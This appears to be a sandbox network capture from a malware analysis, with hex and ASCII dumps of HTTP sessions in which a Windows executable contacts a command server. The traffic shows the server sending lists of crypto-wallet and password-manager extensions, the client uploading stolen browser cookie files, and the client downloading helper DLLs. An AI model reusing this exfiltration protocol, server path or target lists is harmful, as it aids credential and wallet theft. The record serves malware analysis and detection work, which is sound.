wfDB8TGlxdWFsaXR5
Oct 29, 2024 17:59:12.882982969 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 29, 2024 17:59:12.882996082 CET	324	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 29, 2024 17:59:12.883135080 CET	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
Oct 29, 2024 17:59:12.883148909 CET	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Oct 29, 2024 17:59:12.883163929 CET	1236	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx
Oct 29, 2024 17:59:12.883714914 CET	840	IN	Data Raw: 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 Data Ascii: bWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1
Oct 29, 2024 17:59:12.885257006 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="message"fplugins------JKEGDHCFCAAECAKECBAF--
Oct 29, 2024 17:59:13.169229031 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 17:59:13.190071106 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 185.215.113.206 Content-Length: 5863 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 17:59:13.190071106 CET	5863	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 17:59:13.981545925 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:14.293926001 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:14.575593948 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 29, 2024 17:59:14.575639009 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 29, 2024 17:59:14.575746059 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49837	185.215.113.206	80	5924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 17:59:27.722750902 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKEBKJJDGHCBGCAAKEHD--
Oct 29, 2024 17:59:29.131892920 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:29.230859041 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Oct 29, 2024 17:59:30.010343075 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49958	185.215.113.206	80	5924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 17:59:41.254440069 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 17:59:41.254551888 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 29, 2024 17:59:42.671972036 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:43.046272993 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file"------BFBKFHIDHIIJJKECGHCF--
Oct 29, 2024 17:59:43.825854063 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:44.694808006 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:44.981365919 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 17:59:44.981386900 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 29, 2024 17:59:44.981492043 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 29, 2024 17:59:44.981539965 CET	212	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$
Oct 29, 2024 17:59:44.981554985 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Oct 29, 2024 17:59:44.981627941 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Oct 29, 2024 17:59:44.981642962 CET	1236	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjW
Oct 29, 2024 17:59:44.981659889 CET	1236	IN	Data Raw: 00 89 c6 8b 45 0c 05 00 ff ff ff 3d 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb Data Ascii: E=s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>f
Oct 29, 2024 17:59:44.981677055 CET	548	IN	Data Raw: dc 89 7d e4 89 c8 31 c9 ba 00 00 00 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef Data Ascii: }1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffp
Oct 29, 2024 17:59:44.982475996 CET	1236	IN	Data Raw: c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 Data Ascii: )ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?
